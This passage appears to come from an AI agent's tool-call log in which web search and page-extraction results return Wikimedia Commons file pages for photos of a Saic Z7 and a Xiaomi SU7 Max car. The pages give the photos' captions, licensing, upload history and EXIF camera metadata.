6.86 mm |\n| Orientation | Normal |\n| Horizontal resolution | 72 dpi |\n| Vertical resolution | 72 dpi |\n| Software used | 26.5 |\n| File change date and time | 12:25, 13 July 2026 |\n| Y and C positioning | Centered |\n| Exposure Program | Normal program |\n| Exif version | 2.32 |\n| Date and time of digitizing | 12:25, 13 July 2026 |\n| Meaning of each component | 1. Y 2. Cb 3. Cr 4. does not exist |\n| APEX shutter speed | 11.717249456249 |\n| APEX aperture | 1.6637544825625 |\n| APEX brightness | 9.5423895899054 | [...] ## Structured data\n\n### Items portrayed in this file\n\n#### depicts\n\n#### Saic Z7\n\n#### inception\n\n#### 13 July 2026\n\n#### media type\n\n#### image/jpeg\n\n#### ISO speed\n\n#### 64\n\n#### exposure time\n\n#### 0.0002970002970003 second\n\n#### f-number\n\n#### 1.78\n\n#### focal length\n\n#### 6.86 millimetre\n\nWikimedia Foundation\nPowered by MediaWiki [...] | | Date/Time | Thumbnail | Dimensions | User | Comment |\n --- --- --- |\n| current | 07:01, 13 July 2026 | Thumbnail for version as of 07:01, 13 July 2026 | 3,714 × 2,786 (3.69 MB) | Poprace\") (talk | contribs) | Uploaded own work with UploadWizard |\n\nThumbnail for version as of 07:01, 13 July 2026\n\nYou cannot overwrite this file.\n\n## File usage on Commons\n\nThere are no pages that use this file.\n\n## File usage on other wikis\n\nThe following other wikis use this file:\n\n## Metadata", "score": 0.2359352, "published_date": ""}], "total_results": 5}}, "tool_call_id": "tool_hkV7E8S9dyJsBzknfqz6KD78", "name": "web_search"}, {"role": "tool", "content": "提取完成:https://commons.wikimedia.org/wiki/File:Xiaomi_SU7_Max.jpg,长度 15691 字符。\n```\n🌐 网页内容 (15504 字符):\n📍 URL: https://commons.wikimedia.org/wiki/File:Xiaomi_SU7_Max.jpg\n==================================================\n[Jump to content](#bodyContent)\n\n[![](/static/images/icons/commonswiki.svg) ![Wikimedia Commons](/static/images/mobile/copyright/commonswiki-wordmark.svg)](/wiki/Main_Page)\n\n[Search](/wiki/Special:MediaSearch \"Search Wikimedia Commons [f]\")\n\n## Contents\n\n* [Beginning](#)\n* [1 File](#file)\n* [2 Summary](#Summary)\n* [3 Licensing](#Licensing)\n* [4 File history](#filehistory)\n* [5 File usage on Commons](#filelinks)\n* [6 File usage on other wikis](#globalusage)\n* [7 Metadata](#metadata)\n\n# File:Xiaomi SU7 Max.jpg\n\n* [File](/wiki/File:Xiaomi_SU7_Max.jpg \"View the file page [c]\")\n* [Discussion](/w/index.php?title=File_talk:Xiaomi_SU7_Max.jpg&action=edit&redlink=1 \"Discussion about the content page (page does not exist) [t]\")\n\n* [Read](/wiki/File:Xiaomi_SU7_Max.jpg)\n* [Edit](/w/index.php?title=File:Xiaomi_SU7_Max.jpg&action=edit \"Edit this page [e]\")\n* [View history](/w/index.php?title=File:Xiaomi_SU7_Max.jpg&action=history \"Past revisions of this page [h]\")\n\n\n\nTools\n\nActions\n\n* [Read](/wiki/File:Xiaomi_SU7_Max.jpg)\n* [Edit](/w/index.php?title=File:Xiaomi_SU7_Max.jpg&action=edit \"Edit this page [e]\")\n* [View history](/w/index.php?title=File:Xiaomi_SU7_Max.jpg&action=history \"Past revisions of this page [h]\")\n\nGeneral\n\n* [What links here](/wiki/Special:WhatLinksHere/File:Xiaomi_SU7_Max.jpg \"A list of all wiki pages that link here [j]\")\n* [Related changes](/wiki/Special:RecentChangesLinked/File:Xiaomi_SU7_Max.jpg \"Recent changes in pages linked from this page [k]\")\n* [Permanent link](/w/index.php?title=File:Xiaomi_SU7_Max.jpg&oldid=1077969896 \"Permanent link to this revision of this page\")\n* [Page information](/w/index.php?title=File:Xiaomi_SU7_Max.jpg&action=info \"More information about this page\")\n* [Cite this page](/w/index.php?title=Special:CiteThisPage&page=File%3AXiaomi_SU7_Max.jpg&id=1077969896&wpFormIdentifier=titleform \"Information on how to cite this page\")\n* [Get shortened URL](/w/index.php?title=Special:UrlShortener&url=https%3A%2F%2Fcommons.wikimedia.org%2Fwiki%2FFile%3AXiaomi_SU7_Max.jpg)\n* [Concept URI](https://commons.wikimedia.org/entity/M152635407 \"URI that identifies the concept described by this Item\")\n\nPrint/export\n\n* [Download as PDF](/w/index.php?title=Special:DownloadAsPdf&page=File%3AXiaomi_SU7_Max.jpg&action=show-download-screen)\n* [Printable version](javascript:print(); \"Printable version of this page [p]\")\n\nIn other projects\n\nAppearance\n\nFrom Wikimedia Commons, the free media repository\n\n[![File:Xiaomi SU7 Max.jpg](https://upload.wikimedia.org/wikipedia/commons/thumb/8/8a/Xiaomi_SU7_Max.jpg/960px-Xiaomi_SU7_Max.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail&_=20240914205125)](https://upload.wikimedia.org/wikipedia/commons/8/8a/Xiaomi_SU7_Max.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=original)\n\nSize of this preview: [960 × 1,038 pixels](https://upload.wikimedia.org/wikipedia/commons/thumb/8/8a/Xiaomi_SU7_Max.jpg/960px-Xiaomi_SU7_Max.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail). Other resolutions: [250 × 270 pixels](https://upload.wikimedia.org/wikipedia/commons/thumb/8/8a/Xiaomi_SU7_Max.jpg/250px-Xiaomi_SU7_Max.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail) | [500 × 541 pixels](https://upload.wikimedia.org/wikipedia/commons/thumb/8/8a/Xiaomi_SU7_Max.jpg/500px-Xiaomi_SU7_Max.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail) | [1,920 × 2,076 pixels](https://upload.wikimedia.org/wikipedia/commons/thumb/8/8a/Xiaomi_SU7_Max.jpg/1920px-Xiaomi_SU7_Max.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail) | [2,626 × 2,839 pixels](https://upload.wikimedia.org/wikipedia/commons/8/8a/Xiaomi_SU7_Max.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail_unscaled).\n\n[Original file](https://upload.wikimedia.org/wikipedia/commons/8/8a/Xiaomi_SU7_Max.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=original \"Xiaomi SU7 Max.jpg\") (2,626 × 2,839 pixels, file size: 1.72 MB, MIME type: image/jpeg)\n\nFile information\n\nStructured data\n\n## Captions\n\n### Captions\n\nXiaomi SU7 car in Max configuration in Moscow\n\nАвтомобиль Xiaomi SU7 в комплектации Max в Москве\n\nАвтомобіль Xiaomi SU7 в комплектації Max в Москві\n\n## Summary\n\n[[edit](/w/index.php?title=File:Xiaomi_SU7_Max.jpg&action=edit§ion=1 \"Edit section: Summary\")]\n\n| | |\n| --- | --- |\n| DescriptionXiaomi SU7 Max.jpg | **Русский:** Автомобиль Xiaomi SU7 в комплектации Max в Москве **English:** Xiaomi SU7 car in Max configuration in Moscow **Українська:** Автомобіль Xiaomi SU7 в комплектації Max в Москві |\n| Date | |\n| Source | Own work |\n| Author | [Artur Random](/w/index.php?title=User:Artur_Random&action=edit&redlink=1 \"User:Artur Random (page does not exist)\") |\n| Other versions | | | | | | --- | --- | --- | | [Image extraction process](/wiki/File:Extracted_image_icon.svg) | This image has an **extracted file**: [Xiaomi SU7 Max (resized).jpg](/wiki/File:Xiaomi_SU7_Max_(resized).jpg \"File:Xiaomi SU7 Max (resized).jpg\"). | [lang=en](/wiki/File:Xiaomi_SU7_Max_(resized).jpg \"lang=en\") | |\n\n| | | | |\n| --- | --- | --- | --- |\n| Camera location | [55° 40′ 50.62″ N, 37° 32′ 18.59″ E](https://geohack.toolforge.org/geohack.php?pagename=File:Xiaomi_SU7_Max.jpg¶ms=055.680729_N_0037.538497_E_globe:Earth_type:camera__&language=en) [Kartographer map based on OpenStreetMap.](/wiki/Special:Map/13/55.680729/37.538497/en) | View this and other nearby images on: [OpenStreetMap](https://wikimap.toolforge.org/?wp=false&cluster=false&zoom=16&lat=055.680729&lon=0037.538497) | [info](/wiki/Commons:Geocoding \"Commons:Geocoding\") 55.680729; 37.538497 |\n\n## Licensing\n\n[[edit](/w/index.php?title=File:Xiaomi_SU7_Max.jpg&action=edit§ion=2 \"Edit section: Licensing\")]\n\nI, the copyright holder of this work, hereby publish it under the following license:\n\n![w:en:Creative Commons](https://upload.wikimedia.org/wikipedia/commons/thumb/7/79/CC_some_rights_reserved.svg/120px-CC_some_rights_reserved.svg.png?utm_source=commons.wikimedia.org&utm_campaign=parser&utm_content=thumbnail) \n ![attribution](https://upload.wikimedia.org/wikipedia/commons/thumb/1/11/Cc-by_new_white.svg/40px-Cc-by_new_white.svg.png?utm_source=commons.wikimedia.org&utm_campaign=parser&utm_content=thumbnail) ![share alike](https://upload.wikimedia.org/wikipedia/commons/thumb/d/df/Cc-sa_white.svg/40px-Cc-sa_white.svg.png?utm_source=commons.wikimedia.org&utm_campaign=parser&utm_content=thumbnail)\n\nThis file is licensed under the [Creative Commons](https://en.wikipedia.org/wiki/en:Creative_Commons \"w:en:Creative Commons\") [Attribution-Share Alike 4.0 International](//creativecommons.org/licenses/by-sa/4.0/deed.en \"creativecommons:by-sa/4.0/deed.en\") license.\n\n: You are free:\n\n * **to share** – to copy, distribute and transmit the work\n * **to remix** – to adapt the work\n: Under the following conditions:\n\n * **attribution** – You must give appropriate credit, provide a link to the license, and indicate if changes were made. You may do so in any reasonable manner, but not in any way that suggests the licensor endorses you or your use.\n * **share alike** – If you remix, transform, or build upon the material, you must distribute your contributions under the [same or compatible license](https://creativecommons.org/share-your-work/licensing-considerations/compatible-licenses \"ccorg:share-your-work/licensing-considerations/compatible-licenses\") as the original.\n\nhttps://creativecommons.org/licenses/by-sa/4.0CC BY-SA 4.0 Creative Commons Attribution-Share Alike 4.0 truetrue\n\n## File history\n\nClick on a date/time to view the file as it appeared at that time.\n\n| Date/Time | Thumbnail | Dimensions | User | Comment |\n| --- | --- | --- | --- | --- |\n| current | [20:51, 14 September 2024](https://upload.wikimedia.org/wikipedia/commons/8/8a/Xiaomi_SU7_Max.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=original) | 2,626 × 2,839 (1.72 MB) | [Artur Random](/w/index.php?title=User:Artur_Random&action=edit&redlink=1 \"User:Artur Random (page does not exist)\") ([talk](/wiki/User_talk:Artur_Random \"User talk:Artur Random\") | [contribs](/wiki/Special:Contributions/Artur_Random \"Special:Contributions/Artur Random\")) | EXIF-данные сохранены |\n| [20:45, 14 September 2024](https://upload.wikimedia.org/wikipedia/commons/archive/8/8a/20240914205124%21Xiaomi_SU7_Max.jpg) | 2,626 × 2,839 (2.11 MB) | [Artur Random](/w/index.php?title=User:Artur_Random&action=edit&redlink=1 \"User:Artur Random (page does not exist)\") ([talk](/wiki/User_talk:Artur_Random \"User talk:Artur Random\") | [contribs](/wiki/Special:Contributions/Artur_Random \"Special:Contributions/Artur Random\")) | Uploaded own work with UploadWizard |\n\nYou cannot overwrite this file.\n\n## File usage on Commons\n\nThe following page uses this file:\n\n* [File:Xiaomi SU7 Max (resized).jpg](/wiki/File:Xiaomi_SU7_Max_(resized).jpg \"File:Xiaomi SU7 Max (resized).jpg\")\n\n## File usage on other wikis\n\nThe following other wikis use this file:\n\n* Usage on ru.wikipedia.org\n + [Xiaomi SU7](https://ru.wikipedia.org/wiki/Xiaomi_SU7)\n\n## Metadata\n\nThis file contains additional information such as Exif metadata which may have been added by the digital camera, scanner, or software program used to create or digitize it. If the file has been modified from its original state, some details such as the timestamp may not fully reflect those of the original file. The timestamp is only as accurate as the clock in the camera, and it may be completely wrong.\n\n| | |\n| --- | --- |\n| Camera manufacturer | [Apple](https://en.wikipedia.org/wiki/Apple_Inc. \"w:Apple Inc.\") |\n| Camera model | [iPhone 15 Pro](https://en.wikipedia.org/wiki/Special:Search?search=iPhone+15+Pro) |\n| Exposure time | 1/260 sec (0.0038461538461538) |\n| [F-number](https://en.wikipedia.org/wiki/F-number \"wikipedia:F-number\") | f/1.7799999713881 |\n| ISO speed rating | 64 |\n| Date and time of data generation | 10:32, 12 September 2024 |\n| Lens focal length | 6.7649998656528 mm |\n| Latitude | 55° 40′ 50.51″ N |\n| Longitude | 37° 32′ 18.66″ E |\n| Altitude | 196.444 meters above sea level |\n| Orientation | Normal |\n| Horizontal resolution | 72 dpi |\n| Vertical resolution | 72 dpi |\n| Software used | [17.6.1](https://en.wikipedia.org/wiki/Special:Search?search=17.6.1) |\n| File change date and time | 10:32, 12 September 2024 |\n| Y and C positioning | Centered |\n| Exposure Program | Normal program |\n| Exif version | 2.32 |\n| Date and time of digitizing | 10:32, 12 September 2024 |\n| Meaning of each component | 1. Y 2. Cb 3. Cr 4. does not exist |\n| APEX shutter speed | 8.0198020988068 |\n| APEX aperture | 1.6637544366005 |\n| APEX brightness | 4.9360978795329 |\n| APEX exposure bias | −1.1798210377594 |\n| Metering mode | Spot |\n| Flash | Flash did not fire, compulsory flash suppression |\n| DateTimeOriginal subseconds | 233 |\n| DateTimeDigitized subseconds | 233 |\n| Supported Flashpix version | 1 |\n| Color space | Uncalibrated |\n| Sensing method | One-chip color area sensor |\n| Scene type | A directly photographed image |\n| Exposure mode | Auto exposure |\n| White balance | Auto white balance |\n| Digital zoom ratio | 1.4264150943396 |\n| Focal length in 35 mm film | 69 mm |\n| Scene capture type | Standard |\n| GPS time (atomic clock) | 07:32 |\n| Speed unit | Kilometers per hour |\n| Speed of GPS receiver | 0 |\n| Reference for direction of image | True direction |\n| Direction of image | 8.2423343675853 |\n| Reference for bearing of destination | True direction |\n| Bearing of destination | 8.2423343675853 |\n| GPS date | 12 September 2024 |\n\n## Structured data\n\n### Items portrayed in this file\n\n#### [depicts](https://www.wikidata.org/wiki/Special:EntityPage/P180 \"d:Special:EntityPage/P180\")\n\n#### [Xiaomi SU7](https://www.wikidata.org/wiki/Special:EntityPage/Q123470261 \"d:Special:EntityPage/Q123470261\")\n\n#### [creator](https://www.wikidata.org/wiki/Special:EntityPage/P170 \"d:Special:EntityPage/P170\")\n\n#### some value\n\n[object of statement has role](https://www.wikidata.org/wiki/Special:EntityPage/P3831 \"d:Special:EntityPage/P3831\"): [photographer](https://www.wikidata.org/wiki/Special:EntityPage/Q33231 \"d:Special:EntityPage/Q33231\")\n\n[author name string](https://www.wikidata.org/wiki/Special:EntityPage/P2093 \"d:Special:EntityPage/P2093\"): Artur Random\n\n[Wikimedia username](https://www.wikidata.org/wiki/Special:EntityPage/P4174 \"d:Special:EntityPage/P4174\"): [Artur Random](https://meta.wikimedia.org/wiki/Special:CentralAuth/Artur%20Random)\n\n#### [copyright status](https://www.wikidata.org/wiki/Special:EntityPage/P6216 \"d:Special:EntityPage/P6216\")\n\n#### [copyrighted](https://www.wikidata.org/wiki/Special:EntityPage/Q50423863 \"d:Special:EntityPage/Q50423863\")\n\n#### [copyright license](https://www.wikidata.org/wiki/Special:EntityPage/P275 \"d:Special:EntityPage/P275\")\n\n#### [Creative Commons Attribution-ShareAlike 4.0 International](https://www.wikidata.org/wiki/Special:EntityPage/Q18199165 \"d:Special:EntityPage/Q18199165\")\n\n#### [inception](https://www.wikidata.org/wiki/Special:EntityPage/P571 \"d:Special:EntityPage/P571\")\n\n#### 12 September 2024\n\n#### [coordinates of the point of view](https://www.wikidata.org/wiki/Special:EntityPage/P1259 \"d:Special:EntityPage/P1259\")\n\n#### 55°40'50.624\"N, 37°32'18.589\"E\n\n#### [exposure time](https://www.wikidata.org/wiki/Special:EntityPage/P6757 \"d:Special:EntityPage/P6757\")\n\n#### 0.00384615384615384615 second\n\n#### [f-number](https://www.wikidata.org/wiki/Special:EntityPage/P6790 \"d:Special:EntityPage/P6790\")\n\n#### 1.77999997138806510359\n\n#### [focal length](https://www.wikidata.org/wiki/Special:EntityPage/P2151 \"d:Special:EntityPage/P2151\")\n\n#### 6.76499986565279307843 millimetre\n\n#### [ISO speed](https://www.wikidata.org/wiki/Special:EntityPage/P6789 \"d:Special:EntityPage/P6789\")\n\n#### [media type](https://www.wikidata.org/wiki/Special:EntityPage/P1163 \"d:Special:EntityPage/P1163\")\n\n#### [instance of](https://www.wikidata.org/wiki/Special:EntityPage/P31 \"d:Special:EntityPage/P31\")\n\n#### [source of file](https://www.wikidata.org/wiki/Special:EntityPage/P7482 \"d:Special:EntityPage/P7482\")\n\n#### [original creation by uploader](https://www.wikidata.org/wiki/Special:EntityPage/Q66458942 \"d:Special:EntityPage/Q66458942\")\n\nRetrieved from \"\"\n\n[Categories](/wiki/Special:MyLanguage/Commons:Categories \"Special:MyLanguage/Commons:Categories\"):\n\n* [Xiaomi SU7](/wiki/Category:Xiaomi_SU7 \"Category:Xiaomi SU7\")\n* [Number 075 on vehicle registration plates](/wiki/Category:Number_075_on_vehicle_registration_plates \"Category:Number 075 on vehicle registration plates\")\n* [Lomonosovsky District](/wiki/Category:Lomonosovsky_District \"Category:Lomonosovsky District\")\n* [Xiaomi automobiles in Moscow](/wiki/Category:Xiaomi_automobiles_in_Moscow \"Category:Xiaomi automobiles in Moscow\")\n\nHidden categories:\n\n* [Images with extracted images](/wiki/Category:Images_with_extracted_images \"Category:Images with extracted images\")\n* [Files with coordinates missing SDC location of creation](/wiki/Category:Files_with_coordinates_missing_SDC_location_of_creation \"Category:Files with coordinates missing SDC location of creation\")\n* [CC-BY-SA-4.0](/wiki/Category:CC-BY-SA-4.0 \"Category:CC-BY-SA-4.0\")\n* [Self-published work](/wiki/Category:Self-published_work \"Category:Self-published work\")\n\nFile:Xiaomi SU7 Max.jpg\n\n[Add topic](#)\n==================================================\n```", "timestamp": "2026-08-23T13:34:11.032790", "message_id": "msg_17479ee05b2a47c4856b9f4d5205c869", "metadata": {"tool_payload": {"success": true, "url": "https://commons.wikimedia.org/wiki/File:Xiaomi_SU7_Max.jpg", "content": "🌐 网页内容 (15504 字符):\n📍 URL: https://commons.wikimedia.org/wiki/File:Xiaomi_SU7_Max.jpg\n==================================================\n[Jump to content](#bodyContent)\n\n[![](/static/images/icons/commonswiki.svg) ![Wikimedia Commons](/static/images/mobile/copyright/commonswiki-wordmark.svg)](/wiki/Main_Page)\n\n[Search](/wiki/Special:MediaSearch \"Search Wikimedia Commons [f]\")\n\n## Contents\n\n* [Beginning](#)\n* [1 File](#file)\n* [2 Summary](#Summary)\n* [3 Licensing](#Licensing)\n* [4 File history](#filehistory)\n* [5 File usage on Commons](#filelinks)\n* [6 File usage on other wikis](#globalusage)\n* [7 Metadata](#metadata)\n\n# File:Xiaomi SU7 Max.jpg\n\n* [File](/wiki/File:Xiaomi_SU7_Max.jpg \"View the file page [c]\")\n* [Discussion](/w/index.php?title=File_talk:Xiaomi_SU7_Max.jpg&action=edit&redlink=1 \"Discussion about the content page (page does not exist) [t]\")\n\n* [Read](/wiki/File:Xiaomi_SU7_Max.jpg)\n* [Edit](/w/index.php?title=File:Xiaomi_SU7_Max.jpg&action=edit \"Edit this page [e]\")\n* [View history](/w/index.php?title=File:Xiaomi_SU7_Max.jpg&action=history \"Past revisions of this page [h]\")\n\n\n\nTools\n\nActions\n\n* [Read](/wiki/File:Xiaomi_SU7_Max.jpg)\n* [Edit](/w/index.php?title=File:Xiaomi_SU7_Max.jpg&action=edit \"Edit this page [e]\")\n* [View history](/w/index.php?title=File:Xiaomi_SU7_Max.jpg&action=history \"Past revisions of this page [h]\")\n\nGeneral\n\n* [What links here](/wiki/Special:WhatLinksHere/File:Xiaomi_SU7_Max.jpg \"A list of all wiki pages that link here [j]\")\n* [Related changes](/wiki/Special:RecentChangesLinked/File:Xiaomi_SU7_Max.jpg \"Recent changes in pages linked from this page [k]\")\n* [Permanent link](/w/index.php?title=File:Xiaomi_SU7_Max.jpg&oldid=1077969896 \"Permanent link to this revision of this page\")\n* [Page information](/w/index.php?title=File:Xiaomi_SU7_Max.jpg&action=info \"More information about this page\")\n* [Cite this page](/w/index.php?title=Special:CiteThisPage&page=File%3AXiaomi_SU7_Max.jpg&id=1077969896&wpFormIdentifier=titleform \"Information on how to cite this page\")\n* [Get shortened URL](/w/index.php?title=Special:UrlShortener&url=https%3A%2F%2Fcommons.wikimedia.org%2Fwiki%2FFile%3AXiaomi_SU7_Max.jpg)\n* [Concept URI](https://commons.wikimedia.org/entity/M152635407 \"URI that identifies the concept described by this Item\")\n\nPrint/export\n\n* [Download as PDF](/w/index.php?title=Special:DownloadAsPdf&page=File%3AXiaomi_SU7_Max.jpg&action=show-download-screen)\n* [Printable version](javascript:print(); \"Printable version of this page [p]\")\n\nIn other projects\n\nAppearance\n\nFrom Wikimedia Commons, the free media repository\n\n[![File:Xiaomi SU7 Max.jpg](https://upload.wikimedia.org/wikipedia/commons/thumb/8/8a/Xiaomi_SU7_Max.jpg/960px-Xiaomi_SU7_Max.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail&_=20240914205125)](https://upload.wikimedia.org/wikipedia/commons/8/8a/Xiaomi_SU7_Max.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=original)\n\nSize of this preview: [960 × 1,038 pixels](https://upload.wikimedia.org/wikipedia/commons/thumb/8/8a/Xiaomi_SU7_Max.jpg/960px-Xiaomi_SU7_Max.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail). Other resolutions: [250 × 270 pixels](https://upload.wikimedia.org/wikipedia/commons/thumb/8/8a/Xiaomi_SU7_Max.jpg/250px-Xiaomi_SU7_Max.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail) | [500 × 541 pixels](https://upload.wikimedia.org/wikipedia/commons/thumb/8/8a/Xiaomi_SU7_Max.jpg/500px-Xiaomi_SU7_Max.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail) | [1,920 × 2,076 pixels](https://upload.wikimedia.org/wikipedia/commons/thumb/8/8a/Xiaomi_SU7_Max.jpg/1920px-Xiaomi_SU7_Max.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail) | [2,626 × 2,839 pixels](https://upload.wikimedia.org/wikipedia/commons/8/8a/Xiaomi_SU7_Max.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail_unscaled).\n\n[Original file](https://upload.wikimedia.org/wikipedia/commons/8/8a/Xiaomi_SU7_Max.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=original \"Xiaomi SU7 Max.jpg\") (2,626 × 2,839 pixels, file size: 1.72 MB, MIME type: image/jpeg)\n\nFile information\n\nStructured data\n\n## Captions\n\n### Captions\n\nXiaomi SU7 car in Max configuration in Moscow\n\nАвтомобиль Xiaomi SU7 в комплектации Max в Москве\n\nАвтомобіль Xiaomi SU7 в комплектації Max в Москві\n\n## Summary\n\n[[edit](/w/index.php?title=File:Xiaomi_SU7_Max.jpg&action=edit§ion=1 \"Edit section: Summary\")]\n\n| | |\n| --- | --- |\n| DescriptionXiaomi SU7 Max.jpg | **Русский:** Автомобиль Xiaomi SU7 в комплектации Max в Москве **English:** Xiaomi SU7 car in Max configuration in Moscow **Українська:** Автомобіль Xiaomi SU7 в комплектації Max в Москві |\n| Date | |\n| Source | Own work |\n| Author | [Artur Random](/w/index.php?title=User:Artur_Random&action=edit&redlink=1 \"User:Artur Random (page does not exist)\") |\n| Other versions | | | | | | --- | --- | --- | | [Image extraction process](/wiki/File:Extracted_image_icon.svg) | This image has an **extracted file**: [Xiaomi SU7 Max (resized).jpg](/wiki/File:Xiaomi_SU7_Max_(resized).jpg \"File:Xiaomi SU7 Max (resized).jpg\"). | [lang=en](/wiki/File:Xiaomi_SU7_Max_(resized).jpg \"lang=en\") | |\n\n| | | | |\n| --- | --- | --- | --- |\n| Camera location | [55° 40′ 50.62″ N, 37° 32′ 18.59″ E](https://geohack.toolforge.org/geohack.php?pagename=File:Xiaomi_SU7_Max.jpg¶ms=055.680729_N_0037.538497_E_globe:Earth_type:camera__&language=en) [Kartographer map based on OpenStreetMap.](/wiki/Special:Map/13/55.680729/37.538497/en) | View this and other nearby images on: [OpenStreetMap](https://wikimap.toolforge.org/?wp=false&cluster=false&zoom=16&lat=055.680729&lon=0037.538497) | [info](/wiki/Commons:Geocoding \"Commons:Geocoding\") 55.680729; 37.538497 |\n\n## Licensing\n\n[[edit](/w/index.php?title=File:Xiaomi_SU7_Max.jpg&action=edit§ion=2 \"Edit section: Licensing\")]\n\nI, the copyright holder of this work, hereby publish it under the following license:\n\n![w:en:Creative Commons](https://upload.wikimedia.org/wikipedia/commons/thumb/7/79/CC_some_rights_reserved.svg/120px-CC_some_rights_reserved.svg.png?utm_source=commons.wikimedia.org&utm_campaign=parser&utm_content=thumbnail) \n ![attribution](https://upload.wikimedia.org/wikipedia/commons/thumb/1/11/Cc-by_new_white.svg/40px-Cc-by_new_white.svg.png?utm_source=commons.wikimedia.org&utm_campaign=parser&utm_content=thumbnail) ![share alike](https://upload.wikimedia.org/wikipedia/commons/thumb/d/df/Cc-sa_white.svg/40px-Cc-sa_white.svg.png?utm_source=commons.wikimedia.org&utm_campaign=parser&utm_content=thumbnail)\n\nThis file is licensed under the [Creative Commons](https://en.wikipedia.org/wiki/en:Creative_Commons \"w:en:Creative Commons\") [Attribution-Share Alike 4.0 International](//creativecommons.org/licenses/by-sa/4.0/deed.en \"creativecommons:by-sa/4.0/deed.en\") license.\n\n: You are free:\n\n * **to share** – to copy, distribute and transmit the work\n * **to remix** – to adapt the work\n: Under the following conditions:\n\n * **attribution** – You must give appropriate credit, provide a link to the license, and indicate if changes were made. You may do so in any reasonable manner, but not in any way that suggests the licensor endorses you or your use.\n * **share alike** – If you remix, transform, or build upon the material, you must distribute your contributions under the [same or compatible license](https://creativecommons.org/share-your-work/licensing-considerations/compatible-licenses \"ccorg:share-your-work/licensing-considerations/compatible-licenses\") as the original.\n\nhttps://creativecommons.org/licenses/by-sa/4.0CC BY-SA 4.0 Creative Commons Attribution-Share Alike 4.0 truetrue\n\n## File history\n\nClick on a date/time to view the file as it appeared at that time.\n\n| Date/Time | Thumbnail | Dimensions | User | Comment |\n| --- | --- | --- | --- | --- |\n| current | [20:51, 14 September 2024](https://upload.wikimedia.org/wikipedia/commons/8/8a/Xiaomi_SU7_Max.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=original) | 2,626 × 2,839 (1.72 MB) | [Artur Random](/w/index.php?title=User:Artur_Random&action=edit&redlink=1 \"User:Artur Random (page does not exist)\") ([talk](/wiki/User_talk:Artur_Random \"User talk:Artur Random\") | [contribs](/wiki/Special:Contributions/Artur_Random \"Special:Contributions/Artur Random\")) | EXIF-данные сохранены |\n| [20:45, 14 September 2024](https://upload.wikimedia.org/wikipedia/commons/archive/8/8a/20240914205124%21Xiaomi_SU7_Max.jpg) | 2,626 × 2,839 (2.11 MB) | [Artur Random](/w/index.php?title=User:Artur_Random&action=edit&redlink=1 \"User:Artur Random (page does not exist)\") ([talk](/wiki/User_talk:Artur_Random \"User talk:Artur Random\") | [contribs](/wiki/Special:Contributions/Artur_Random \"Special:Contributions/Artur Random\")) | Uploaded own work with UploadWizard |\n\nYou cannot overwrite this file.\n\n## File usage on Commons\n\nThe following page uses this file:\n\n* [File:Xiaomi SU7 Max (resized).jpg](/wiki/File:Xiaomi_SU7_Max_(resized).jpg \"File:Xiaomi SU7 Max (resized).jpg\")\n\n## File usage on other wikis\n\nThe following other wikis use this file:\n\n* Usage on ru.wikipedia.org\n + [Xiaomi SU7](https://ru.wikipedia.org/wiki/Xiaomi_SU7)\n\n## Metadata\n\nThis file contains additional information such as Exif metadata which may have been added by the digital camera, scanner, or software program used to create or digitize it. If the file has been modified from its original state, some details such as the timestamp may not fully reflect those of the original file. The timestamp is only as accurate as the clock in the camera, and it may be completely wrong.\n\n| | |\n| --- | --- |\n| Camera manufacturer | [Apple](https://en.wikipedia.org/wiki/Apple_Inc. \"w:Apple Inc.\") |\n| Camera model | [iPhone 15 Pro](https://en.wikipedia.org/wiki/Special:Search?search=iPhone+15+Pro) |\n| Exposure time | 1/260 sec (0.0038461538461538) |\n| [F-number](https://en.wikipedia.org/wiki/F-number \"wikipedia:F-number\") | f/1.7799999713881 |\n| ISO speed rating | 64 |\n| Date and time of data generation | 10:32, 12 September 2024 |\n| Lens focal length | 6.7649998656528 mm |\n| Latitude | 55° 40′ 50.51″ N |\n| Longitude | 37° 32′ 18.66″ E |\n| Altitude | 196.444 meters above sea level |\n| Orientation | Normal |\n| Horizontal resolution | 72 dpi |\n| Vertical resolution | 72 dpi |\n| Software used | [17.6.1](https://en.wikipedia.org/wiki/Special:Search?search=17.6.1) |\n| File change date and time | 10:32, 12 September 2024 |\n| Y and C positioning | Centered |\n| Exposure Program | Normal program |\n| Exif version | 2.32 |\n| Date and time of digitizing | 10:32, 12 September 2024 |\n| Meaning of each component | 1. Y 2. Cb 3. Cr 4. does not exist |\n| APEX shutter speed | 8.0198020988068 |\n| APEX aperture | 1.6637544366005 |\n| APEX brightness | 4.9360978795329 |\n| APEX exposure bias | −1.1798210377594 |\n| Metering mode | Spot |\n| Flash | Flash did not fire, compulsory flash suppression |\n| DateTimeOriginal subseconds | 233 |\n| DateTimeDigitized subseconds | 233 |\n| Supported Flashpix version | 1 |\n| Color space | Uncalibrated |\n| Sensing method | One-chip color area sensor |\n| Scene type | A directly photographed image |\n| Exposure mode | Auto exposure |\n| White balance | Auto white balance |\n| Digital zoom ratio | 1.4264150943396 |\n| Focal length in 35 mm film | 69 mm |\n| Scene capture type | Standard |\n| GPS time (atomic clock) | 07:32 |\n| Speed unit | Kilometers per hour |\n| Speed of GPS receiver | 0 |\n| Reference for direction of image | True direction |\n| Direction of image | 8.2423343675853 |\n| Reference for bearing of destination | True direction |\n| Bearing of destination | 8.2423343675853 |\n| GPS date | 12 September 2024 |\n\n## Structured 